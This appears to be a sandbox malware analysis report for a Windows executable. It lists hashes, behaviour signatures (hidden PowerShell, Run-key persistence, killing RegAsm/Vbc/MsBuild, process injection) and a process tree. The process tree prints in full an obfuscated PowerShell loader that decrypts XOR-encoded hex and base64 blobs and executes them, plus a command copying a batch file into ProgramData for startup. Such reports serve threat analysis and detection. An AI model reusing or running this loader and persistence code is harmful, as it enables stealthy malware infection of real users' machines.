1ecd9e545e3aa57550b5066d6172c4fb75f71c5903fc1fee6699ca872d9c69fa

Analysis

max time kernel
148s
max time network
129s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 11:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
1ecd9e545e3aa57550b5066d6172c4fb75f71c5903fc1fee6699ca872d9c69fa.exe
Size 99KB
Sample260910-m6f4xsbl4x
SHA256 1ecd9e545e3aa57550b5066d6172c4fb75f71c5903fc1fee6699ca872d9c69fa
MD5 0231b8a54ffb7995ceaece116737d427
SHA1 5f86349e91b96811d2eeec035c265efd64f7a116
SHA512 6085463f1435196182180dbdace9eb6d9808c801df318a265eb533e5628fefd5e8c23c949c57a7d4b43bba15112e25b57243e9e5a8a97b5fb9e193d70effed8c
SSDEEP 1536:pKbx7XQ7X8UURBNwC9+S7XVTy1PJe5a1DIKxJVzpArePK6CtTvJsANVR5:pKb1XeXRUrNbUSrcyjR5
TLSH
T1D7A34AB1F0C940D1DA7E33B83436DB92EB29A3D659194208EA5CB9B53FFD31045A099F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	3684	powershell.exe
9	3684	powershell.exe
10	3684	powershell.exe
13	3684	powershell.exe
14	5624	powershell.exe
15	5624	powershell.exe
16	5624	powershell.exe
17	5624	powershell.exe
18	5624	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
564	powershell.exe
2872	powershell.exe
4200	powershell.exe
4884	powershell.exe
3684	powershell.exe
5624	powershell.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\hAlAhSSSog = "C:\\ProgramData\\mjbbddm.bat"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\mhfmlijhml = "C:\\ProgramData\\mjbbddm.bat"	powershell.exe

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4540	cmd.exe
4284	cmd.exe
4252	cmd.exe

Kills process with taskkill 6 IoCs

defense_evasion

pid	Process
5852	taskkill.exe
3884	taskkill.exe
3272	taskkill.exe
5040	taskkill.exe
6056	taskkill.exe
3112	taskkill.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
564	powershell.exe
564	powershell.exe
3684	powershell.exe
3684	powershell.exe
2872	powershell.exe
2872	powershell.exe
4200	powershell.exe
4200	powershell.exe
4200	powershell.exe
5624	powershell.exe
5624	powershell.exe
5624	powershell.exe
3684	powershell.exe
3684	powershell.exe
4884	powershell.exe
4884	powershell.exe
4884	powershell.exe
5624	powershell.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	564	powershell.exe
Token: SeDebugPrivilege	3684	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeDebugPrivilege	6056	taskkill.exe
Token: SeDebugPrivilege	3112	taskkill.exe
Token: SeDebugPrivilege	5852	taskkill.exe
Token: SeDebugPrivilege	4200	powershell.exe
Token: SeDebugPrivilege	5624	powershell.exe
Token: SeDebugPrivilege	4884	powershell.exe
Token: SeDebugPrivilege	3884	taskkill.exe
Token: SeDebugPrivilege	3272	taskkill.exe
Token: SeDebugPrivilege	5040	taskkill.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4336 wrote to memory of 4540	4336	1ecd9e545e3aa57550b5066d6172c4fb75f71c5903fc1fee6699ca872d9c69fa.exe	89
PID 4540 wrote to memory of 564	4540	cmd.exe	91
PID 564 wrote to memory of 3684	564	powershell.exe	92
PID 3684 wrote to memory of 2788	3684	powershell.exe	94
PID 2788 wrote to memory of 5352	2788	csc.exe	95
PID 3684 wrote to memory of 2872	3684	powershell.exe	97
PID 2872 wrote to memory of 4284	2872	powershell.exe	99
PID 4284 wrote to memory of 6056	4284	cmd.exe	101
PID 4284 wrote to memory of 3112	4284	cmd.exe	104
PID 4284 wrote to memory of 5852	4284	cmd.exe	105
PID 4200 wrote to memory of 5624	4200	powershell.exe	107
PID 5624 wrote to memory of 5848	5624	powershell.exe	109
PID 5848 wrote to memory of 6128	5848	csc.exe	110
PID 5624 wrote to memory of 4884	5624	powershell.exe	111
PID 4884 wrote to memory of 4252	4884	powershell.exe	113
PID 4252 wrote to memory of 3884	4252	cmd.exe	115
PID 4252 wrote to memory of 3272	4252	cmd.exe	116
PID 4252 wrote to memory of 5040	4252	cmd.exe	117

C:\Users\Admin\AppData\Local\Temp\1ecd9e545e3aa57550b5066d6172c4fb75f71c5903fc1fee6699ca872d9c69fa.exe
"C:\Users\Admin\AppData\Local\Temp\1ecd9e545e3aa57550b5066d6172c4fb75f71c5903fc1fee6699ca872d9c69fa.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4336
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\c22a11d4-9b30-46d9-9293-ea54ec12dbd0.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4540
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=54-19;$oXeJ6283=''2Fg7qWT9I'';$qTGFjZRU=''fe99a3feaf9491fdc3c79de5b9a8d485b788a5def9ace0a6adea90ec89a0b38f9886e7cddd82aef2bf9490f4bea2d698c99dc5d0d486ecbfb9efb29399bbb8fa95b9f880a0a3bbb8cb95bee9be90d0d08cf69aa8efafa0c4a9a5ea83a0dfba8e9ba5d7cb98bff4b59ad6b790b190e8e6ffa2d3f19bf79ee9f6a6d4d7eeee92e1c7ceaf9c8ce7cecb80a8f8abddd3c086fb83a3f9a8ddcd9ee9c3a2a8e9f5ae9be195f18fa8cdb49490e7aef982acfabe8fa3a9d9cb89aee8a9948aeab3ea83b9f2b89292b3deb8b783f8afd3adf680ed9ea4e9a2ad8cfc97f78fa2f18f848ef6bea2d699f1a8cccc9ee9bc8dfeade6d5a1e2c3bf80acf0f49aa4dc80f39cacf6ac8dccdf8ffa8da3f5b9cbb7e0dbdbbfbaa8e9b88fa78ae29c97ceab8bc6d491e89f8ad8abb787fd8dd2a3ffedee88a8e793aaa4a6a8aebe92e3a8ad9cf8f48f898ea181eda0acb2bc8c97e395ac99f9e9ecb29be2a8faa9bac78bb989df8ef79dacd2bf91b3d899efa7a4feb2a4b9fc8ad4a381f1b99ccde4b9db81bbd7ba9a8ff1c8d49dfbff9a90b4dcd6f59cacf1af8e97c992afbffef4eeb1bae3d7cf83a3d4b5b88be182af9487cae98dcbdc93f79e82fbae8c93d590ada08eebeecfaae391edafa1d6908790e2a4f398f9e8888ac8f6a5e9a6b4d7a3b1ccf28fc2de9be9909bb8e2d5f9c3bad78ccf90cab0ea9baff897968ddc8df08da4feb29eada590e89e8ae8979c9afdafe9dea1edbac98ef0a0dd80acfc919a8ce293f08fa4a9ae9f8bf78ffa81a3f491b2a7e0d4d7bfb8ff94cd95abb3d98197deb685a7c084ef9da8d4b08d87fd8bd2bbfdf2ef98aae391fdaea6a8b1b888d9b3dc98f8eced898ed8a1ee9f81dca2bcc3aec4b1e1c7dcbf99d3c79ae889edb08f848ef6a7fd8aa4f3b28997fc8db8c496c9be858abda6f68fa2f9b29399ced9a2b999dbe3d3b9f697cb98bff4b59ad6c8a0f782bbf8a989a3a9d9de9ea2f0999c8df6d5acbfb9efb29399bbc7f9dffdb4f2d4f39985ed82aee9b29290b387b0c8acaeead485b782abdef0d3be8ad3dc81f289aee9fbb39be7cdcf89afdeb7949bfd97a3c48af8afd0acf28dfc83a0bdff9ccda2c3b5afa2e8b589deb782abdde3deb48890e7cae4c9b6e9a98485e186ec99bff3fbd99fa0d1b6a8a2eab59191f287dc8db9fcf3d9a1ba9efb8db9feb38683ee9e95e6abe8b59e8afa8cf6cca4b5ff9ccdbfc7f9d8e1b9bac8d2b782aed18db5f2d485b782afd196cdb39c90e78cf5abace9bea0c4a9aff78da9dca88e9bfe81f495e5b9baced7a8c7f9d4f0b9bacad0d486ecb8b4edbe8ed6ba9fa797e9c2f5bb8bff8fd68da0f8fbd09b'';$gEkvtBuFo=''FjMWAxB/Okh9Xi4WAxwsRgloKnZGCktmKUh9Uj8aOXZnZwB5BGdbDUosQwVyA3pcBWJuYAtvOjttEwQlbjVPM31oC3cxY0d5CSV1J083MzV3EyFbCn5BRwFWK3dHKA9BaTZfAXhCMxklKEU1XDdQUhlrZ0Q9Q3ILTG1xUhh9E3pRS19ZQA9oDmVTFktwXFYmJGFXA1BnSAJvE3JcAUEqJQ0kTm4JRkU7LyVyEXxZBwwmY1wwQ3IES1kPC2EWQ3EDX2QqKURDFjMVD31VR0s1RzgSSntzIUt7BGVXUVRjWARGClZZWw9RbxxmAmVdLWFvcT9/C1piB0lIeD1wF0dXBRFRZQBWJFBeK2hnbTYqIH0HUEFpSzR5EllLM0hyVQlrEzhQBX5bPEs1Tj8aSntzIUtxPkR0BUd0ZF9vP1YBWnRGeSIzJmRBNkJ1TApeVGNlB0xyKghyF1BkBVA1Ql8pElFeBRk/JkU1SzsaPVUiJgFFMFVVAVJnMh9YJWtGTWV6cjR6ECtmIxc6RS1rXiVrDG5gZBtoTHFVOH0/JkU1Th44C0IqKUh+VS5WQgBgMEUxBn1WSgBjNVFHM3ZKFgpHbw9zA3pcBXk4OzlIISscJUF2UhhuDn1VSgBgM0U1Sn5TFkdqKTNtRzRIARZrcQ5dWjQbQg8iKTNtRzRdVHxSe1VyASEKVX14Yl4sEWQPXwMrIUc8T0xDQgN2YkNMQDobGSkIIUw4BSASXwQqXh08QHtrD2IxNSMoEyRXO09yLglrBEtXG0daZxR/N1cBWk5keVRYIyBGVWhubidECmNTOklYZC9wU1hkRQ0iOkw4BSASXwQmY18yNGZQEVBwaAJ7TyMeQgBgMkJQAn1VFkwiLEwtVTo/aABjMl08WjMaPVUiJhtdWi4VSwQ5DGY4BScPSntzIUtyLnpwBRE0VgspJHABVUlnJkU8TDMaPVUiJgJWNEZVBRk/JkUnahkSQgQiaEw0PFBdDFJncxhBXSl0EEtvQw1vAiUGMVBwaAJ7Tzd/A1BhaQlvPCJvSw0iJQ4oRzttEwQlZlhPAXRdKxklKExcTzdQUQgiJQ0vVj8SSntzIUtyLWZmCRFVVwJdWi4VSwgiKTNtRzRdV3dVciVXBDQbTgQqXh08QGRjXxklKEwwRzttEwQlaA9yLzQbSykIIUw8R1RXFglScwN/AmBBHldtcxg8JENnQglmZB9/G2BXDkFhdUwxAXpAEVAiNBB6EzN8A0lnLS9MMjNPby4PC0w8RzMSQgQiIUw='';$j7Hm1FEaL=0xF22A-0x7DBB;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0xAA)};$czuENo=$vFrDb0RYW;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0x55)};$lwtUCZQk=$vFrDb0RYW;$vFrDb0RYWoldR='''';$i=0;for($j=0;$j-lt$qTGFjZRU.Length;$j+=2){$vFrDb0RYWoldR+=[char](([Convert]::ToInt32($qTGFjZRU.Substring($j,2),16))-bxor$czuENo[$i++%$czuENo.Length])};$q2l3ZvW9=$vFrDb0RYWoldR;$vFrDb0RYWoldB=[Convert]::FromBase64String([regex]::Replace($gEkvtBuFo, ''$vFrDb0RYW'', ''''));$vFrDb0RYWoldR='''';$i=0;for($j=0;$j-lt$vFrDb0RYWoldB.Length;$j++){$vFrDb0RYWoldR+=[char]($vFrDb0RYWoldB[$j]-bxor$lwtUCZQk[$i++%$lwtUCZQk.Length])};$tcc9Pv=$vFrDb0RYWoldR;$sw97iJcE=$q2l3ZvW9+$tcc9Pv;.($env:ComSpec[4,26,25]-join'''') $sw97iJcE\"'" ; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\c22a11d4-9b30-46d9-9293-ea54ec12dbd0.bat' -Destination 'C:\ProgramData\mjbbddm.bat' -Force -ErrorAction SilentlyContinue
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:564
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=54-19;$oXeJ6283='2Fg7qWT9I';$qTGFjZRU='fe99a3feaf9491fdc3c79de5b9a8d485b788a5def9ace0a6adea90ec89a0b38f9886e7cddd82aef2bf9490f4bea2d698c99dc5d0d486ecbfb9efb29399bbb8fa95b9f880a0a3bbb8cb95bee9be90d0d08cf69aa8efafa0c4a9a5ea83a0dfba8e9ba5d7cb98bff4b59ad6b790b190e8e6ffa2d3f19bf79ee9f6a6d4d7eeee92e1c7ceaf9c8ce7cecb80a8f8abddd3c086fb83a3f9a8ddcd9ee9c3a2a8e9f5ae9be195f18fa8cdb49490e7aef982acfabe8fa3a9d9cb89aee8a9948aeab3ea83b9f2b89292b3deb8b783f8afd3adf680ed9ea4e9a2ad8cfc97f78fa2f18f848ef6bea2d699f1a8cccc9ee9bc8dfeade6d5a1e2c3bf80acf0f49aa4dc80f39cacf6ac8dccdf8ffa8da3f5b9cbb7e0dbdbbfbaa8e9b88fa78ae29c97ceab8bc6d491e89f8ad8abb787fd8dd2a3ffedee88a8e793aaa4a6a8aebe92e3a8ad9cf8f48f898ea181eda0acb2bc8c97e395ac99f9e9ecb29be2a8faa9bac78bb989df8ef79dacd2bf91b3d899efa7a4feb2a4b9fc8ad4a381f1b99ccde4b9db81bbd7ba9a8ff1c8d49dfbff9a90b4dcd6f59cacf1af8e97c992afbffef4eeb1bae3d7cf83a3d4b5b88be182af9487cae98dcbdc93f79e82fbae8c93d590ada08eebeecfaae391edafa1d6908790e2a4f398f9e8888ac8f6a5e9a6b4d7a3b1ccf28fc2de9be9909bb8e2d5f9c3bad78ccf90cab0ea9baff897968ddc8df08da4feb29eada590e89e8ae8979c9afdafe9dea1edbac98ef0a0dd80acfc919a8ce293f08fa4a9ae9f8bf78ffa81a3f491b2a7e0d4d7bfb8ff94cd95abb3d98197deb685a7c084ef9da8d4b08d87fd8bd2bbfdf2ef98aae391fdaea6a8b1b888d9b3dc98f8eced898ed8a1ee9f81dca2bcc3aec4b1e1c7dcbf99d3c79ae889edb08f848ef6a7fd8aa4f3b28997fc8db8c496c9be858abda6f68fa2f9b29399ced9a2b999dbe3d3b9f697cb98bff4b59ad6c8a0f782bbf8a989a3a9d9de9ea2f0999c8df6d5acbfb9efb29399bbc7f9dffdb4f2d4f39985ed82aee9b29290b387b0c8acaeead485b782abdef0d3be8ad3dc81f289aee9fbb39be7cdcf89afdeb7949bfd97a3c48af8afd0acf28dfc83a0bdff9ccda2c3b5afa2e8b589deb782abdde3deb48890e7cae4c9b6e9a98485e186ec99bff3fbd99fa0d1b6a8a2eab59191f287dc8db9fcf3d9a1ba9efb8db9feb38683ee9e95e6abe8b59e8afa8cf6cca4b5ff9ccdbfc7f9d8e1b9bac8d2b782aed18db5f2d485b782afd196cdb39c90e78cf5abace9bea0c4a9aff78da9dca88e9bfe81f495e5b9baced7a8c7f9d4f0b9bacad0d486ecb8b4edbe8ed6ba9fa797e9c2f5bb8bff8fd68da0f8fbd09b';$gEkvtBuFo='FjMWAxB/Okh9Xi4WAxwsRgloKnZGCktmKUh9Uj8aOXZnZwB5BGdbDUosQwVyA3pcBWJuYAtvOjttEwQlbjVPM31oC3cxY0d5CSV1J083MzV3EyFbCn5BRwFWK3dHKA9BaTZfAXhCMxklKEU1XDdQUhlrZ0Q9Q3ILTG1xUhh9E3pRS19ZQA9oDmVTFktwXFYmJGFXA1BnSAJvE3JcAUEqJQ0kTm4JRkU7LyVyEXxZBwwmY1wwQ3IES1kPC2EWQ3EDX2QqKURDFjMVD31VR0s1RzgSSntzIUt7BGVXUVRjWARGClZZWw9RbxxmAmVdLWFvcT9/C1piB0lIeD1wF0dXBRFRZQBWJFBeK2hnbTYqIH0HUEFpSzR5EllLM0hyVQlrEzhQBX5bPEs1Tj8aSntzIUtxPkR0BUd0ZF9vP1YBWnRGeSIzJmRBNkJ1TApeVGNlB0xyKghyF1BkBVA1Ql8pElFeBRk/JkU1SzsaPVUiJgFFMFVVAVJnMh9YJWtGTWV6cjR6ECtmIxc6RS1rXiVrDG5gZBtoTHFVOH0/JkU1Th44C0IqKUh+VS5WQgBgMEUxBn1WSgBjNVFHM3ZKFgpHbw9zA3pcBXk4OzlIISscJUF2UhhuDn1VSgBgM0U1Sn5TFkdqKTNtRzRIARZrcQ5dWjQbQg8iKTNtRzRdVHxSe1VyASEKVX14Yl4sEWQPXwMrIUc8T0xDQgN2YkNMQDobGSkIIUw4BSASXwQqXh08QHtrD2IxNSMoEyRXO09yLglrBEtXG0daZxR/N1cBWk5keVRYIyBGVWhubidECmNTOklYZC9wU1hkRQ0iOkw4BSASXwQmY18yNGZQEVBwaAJ7TyMeQgBgMkJQAn1VFkwiLEwtVTo/aABjMl08WjMaPVUiJhtdWi4VSwQ5DGY4BScPSntzIUtyLnpwBRE0VgspJHABVUlnJkU8TDMaPVUiJgJWNEZVBRk/JkUnahkSQgQiaEw0PFBdDFJncxhBXSl0EEtvQw1vAiUGMVBwaAJ7Tzd/A1BhaQlvPCJvSw0iJQ4oRzttEwQlZlhPAXRdKxklKExcTzdQUQgiJQ0vVj8SSntzIUtyLWZmCRFVVwJdWi4VSwgiKTNtRzRdV3dVciVXBDQbTgQqXh08QGRjXxklKEwwRzttEwQlaA9yLzQbSykIIUw8R1RXFglScwN/AmBBHldtcxg8JENnQglmZB9/G2BXDkFhdUwxAXpAEVAiNBB6EzN8A0lnLS9MMjNPby4PC0w8RzMSQgQiIUw=';$j7Hm1FEaL=0xF22A-0x7DBB;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0xAA)};$czuENo=$vFrDb0RYW;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0x55)};$lwtUCZQk=$vFrDb0RYW;$vFrDb0RYWoldR='';$i=0;for($j=0;$j-lt$qTGFjZRU.Length;$j+=2){$vFrDb0RYWoldR+=[char](([Convert]::ToInt32($qTGFjZRU.Substring($j,2),16))-bxor$czuENo[$i++%$czuENo.Length])};$q2l3ZvW9=$vFrDb0RYWoldR;$vFrDb0RYWoldB=[Convert]::FromBase64String([regex]::Replace($gEkvtBuFo, '$vFrDb0RYW', ''));$vFrDb0RYWoldR='';$i=0;for($j=0;$j-lt$vFrDb0RYWoldB.Length;$j++){$vFrDb0RYWoldR+=[char]($vFrDb0RYWoldB[$j]-bxor$lwtUCZQk[$i++%$lwtUCZQk.Length])};$tcc9Pv=$vFrDb0RYWoldR;$sw97iJcE=$q2l3ZvW9+$tcc9Pv;.($env:ComSpec[4,26,25]-join'') $sw97iJcE"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3684
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\opalobhu\opalobhu.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2788
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6B91.tmp" "c:\Users\Admin\AppData\Local\Temp\opalobhu\CSC58CA3D02D4EA46A28A1DC5A51A3FFDB.TMP"
        6⤵
        
        PID:5352
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2872
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4284
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:6056
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3112
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5852

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=54-19;$oXeJ6283=''2Fg7qWT9I'';$qTGFjZRU=''fe99a3feaf9491fdc3c79de5b9a8d485b788a5def9ace0a6adea90ec89a0b38f9886e7cddd82aef2bf9490f4bea2d698c99dc5d0d486ecbfb9efb29399bbb8fa95b9f880a0a3bbb8cb95bee9be90d0d08cf69aa8efafa0c4a9a5ea83a0dfba8e9ba5d7cb98bff4b59ad6b790b190e8e6ffa2d3f19bf79ee9f6a6d4d7eeee92e1c7ceaf9c8ce7cecb80a8f8abddd3c086fb83a3f9a8ddcd9ee9c3a2a8e9f5ae9be195f18fa8cdb49490e7aef982acfabe8fa3a9d9cb89aee8a9948aeab3ea83b9f2b89292b3deb8b783f8afd3adf680ed9ea4e9a2ad8cfc97f78fa2f18f848ef6bea2d699f1a8cccc9ee9bc8dfeade6d5a1e2c3bf80acf0f49aa4dc80f39cacf6ac8dccdf8ffa8da3f5b9cbb7e0dbdbbfbaa8e9b88fa78ae29c97ceab8bc6d491e89f8ad8abb787fd8dd2a3ffedee88a8e793aaa4a6a8aebe92e3a8ad9cf8f48f898ea181eda0acb2bc8c97e395ac99f9e9ecb29be2a8faa9bac78bb989df8ef79dacd2bf91b3d899efa7a4feb2a4b9fc8ad4a381f1b99ccde4b9db81bbd7ba9a8ff1c8d49dfbff9a90b4dcd6f59cacf1af8e97c992afbffef4eeb1bae3d7cf83a3d4b5b88be182af9487cae98dcbdc93f79e82fbae8c93d590ada08eebeecfaae391edafa1d6908790e2a4f398f9e8888ac8f6a5e9a6b4d7a3b1ccf28fc2de9be9909bb8e2d5f9c3bad78ccf90cab0ea9baff897968ddc8df08da4feb29eada590e89e8ae8979c9afdafe9dea1edbac98ef0a0dd80acfc919a8ce293f08fa4a9ae9f8bf78ffa81a3f491b2a7e0d4d7bfb8ff94cd95abb3d98197deb685a7c084ef9da8d4b08d87fd8bd2bbfdf2ef98aae391fdaea6a8b1b888d9b3dc98f8eced898ed8a1ee9f81dca2bcc3aec4b1e1c7dcbf99d3c79ae889edb08f848ef6a7fd8aa4f3b28997fc8db8c496c9be858abda6f68fa2f9b29399ced9a2b999dbe3d3b9f697cb98bff4b59ad6c8a0f782bbf8a989a3a9d9de9ea2f0999c8df6d5acbfb9efb29399bbc7f9dffdb4f2d4f39985ed82aee9b29290b387b0c8acaeead485b782abdef0d3be8ad3dc81f289aee9fbb39be7cdcf89afdeb7949bfd97a3c48af8afd0acf28dfc83a0bdff9ccda2c3b5afa2e8b589deb782abdde3deb48890e7cae4c9b6e9a98485e186ec99bff3fbd99fa0d1b6a8a2eab59191f287dc8db9fcf3d9a1ba9efb8db9feb38683ee9e95e6abe8b59e8afa8cf6cca4b5ff9ccdbfc7f9d8e1b9bac8d2b782aed18db5f2d485b782afd196cdb39c90e78cf5abace9bea0c4a9aff78da9dca88e9bfe81f495e5b9baced7a8c7f9d4f0b9bacad0d486ecb8b4edbe8ed6ba9fa797e9c2f5bb8bff8fd68da0f8fbd09b'';$gEkvtBuFo=''FjMWAxB/Okh9Xi4WAxwsRgloKnZGCktmKUh9Uj8aOXZnZwB5BGdbDUosQwVyA3pcBWJuYAtvOjttEwQlbjVPM31oC3cxY0d5CSV1J083MzV3EyFbCn5BRwFWK3dHKA9BaTZfAXhCMxklKEU1XDdQUhlrZ0Q9Q3ILTG1xUhh9E3pRS19ZQA9oDmVTFktwXFYmJGFXA1BnSAJvE3JcAUEqJQ0kTm4JRkU7LyVyEXxZBwwmY1wwQ3IES1kPC2EWQ3EDX2QqKURDFjMVD31VR0s1RzgSSntzIUt7BGVXUVRjWARGClZZWw9RbxxmAmVdLWFvcT9/C1piB0lIeD1wF0dXBRFRZQBWJFBeK2hnbTYqIH0HUEFpSzR5EllLM0hyVQlrEzhQBX5bPEs1Tj8aSntzIUtxPkR0BUd0ZF9vP1YBWnRGeSIzJmRBNkJ1TApeVGNlB0xyKghyF1BkBVA1Ql8pElFeBRk/JkU1SzsaPVUiJgFFMFVVAVJnMh9YJWtGTWV6cjR6ECtmIxc6RS1rXiVrDG5gZBtoTHFVOH0/JkU1Th44C0IqKUh+VS5WQgBgMEUxBn1WSgBjNVFHM3ZKFgpHbw9zA3pcBXk4OzlIISscJUF2UhhuDn1VSgBgM0U1Sn5TFkdqKTNtRzRIARZrcQ5dWjQbQg8iKTNtRzRdVHxSe1VyASEKVX14Yl4sEWQPXwMrIUc8T0xDQgN2YkNMQDobGSkIIUw4BSASXwQqXh08QHtrD2IxNSMoEyRXO09yLglrBEtXG0daZxR/N1cBWk5keVRYIyBGVWhubidECmNTOklYZC9wU1hkRQ0iOkw4BSASXwQmY18yNGZQEVBwaAJ7TyMeQgBgMkJQAn1VFkwiLEwtVTo/aABjMl08WjMaPVUiJhtdWi4VSwQ5DGY4BScPSntzIUtyLnpwBRE0VgspJHABVUlnJkU8TDMaPVUiJgJWNEZVBRk/JkUnahkSQgQiaEw0PFBdDFJncxhBXSl0EEtvQw1vAiUGMVBwaAJ7Tzd/A1BhaQlvPCJvSw0iJQ4oRzttEwQlZlhPAXRdKxklKExcTzdQUQgiJQ0vVj8SSntzIUtyLWZmCRFVVwJdWi4VSwgiKTNtRzRdV3dVciVXBDQbTgQqXh08QGRjXxklKEwwRzttEwQlaA9yLzQbSykIIUw8R1RXFglScwN/AmBBHldtcxg8JENnQglmZB9/G2BXDkFhdUwxAXpAEVAiNBB6EzN8A0lnLS9MMjNPby4PC0w8RzMSQgQiIUw='';$j7Hm1FEaL=0xF22A-0x7DBB;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0xAA)};$czuENo=$vFrDb0RYW;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0x55)};$lwtUCZQk=$vFrDb0RYW;$vFrDb0RYWoldR='''';$i=0;for($j=0;$j-lt$qTGFjZRU.Length;$j+=2){$vFrDb0RYWoldR+=[char](([Convert]::ToInt32($qTGFjZRU.Substring($j,2),16))-bxor$czuENo[$i++%$czuENo.Length])};$q2l3ZvW9=$vFrDb0RYWoldR;$vFrDb0RYWoldB=[Convert]::FromBase64String([regex]::Replace($gEkvtBuFo, ''$vFrDb0RYW'', ''''));$vFrDb0RYWoldR='''';$i=0;for($j=0;$j-lt$vFrDb0RYWoldB.Length;$j++){$vFrDb0RYWoldR+=[char]($vFrDb0RYWoldB[$j]-bxor$lwtUCZQk[$i++%$lwtUCZQk.Length])};$tcc9Pv=$vFrDb0RYWoldR;$sw97iJcE=$q2l3ZvW9+$tcc9Pv;.($env:ComSpec[4,26,25]-join'''') $sw97iJcE\"'" ; Copy-Item -Path 'C:\ProgramData\mjbbddm.bat' -Destination 'C:\ProgramData\mjbbddm.bat' -Force -ErrorAction SilentlyContinue
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
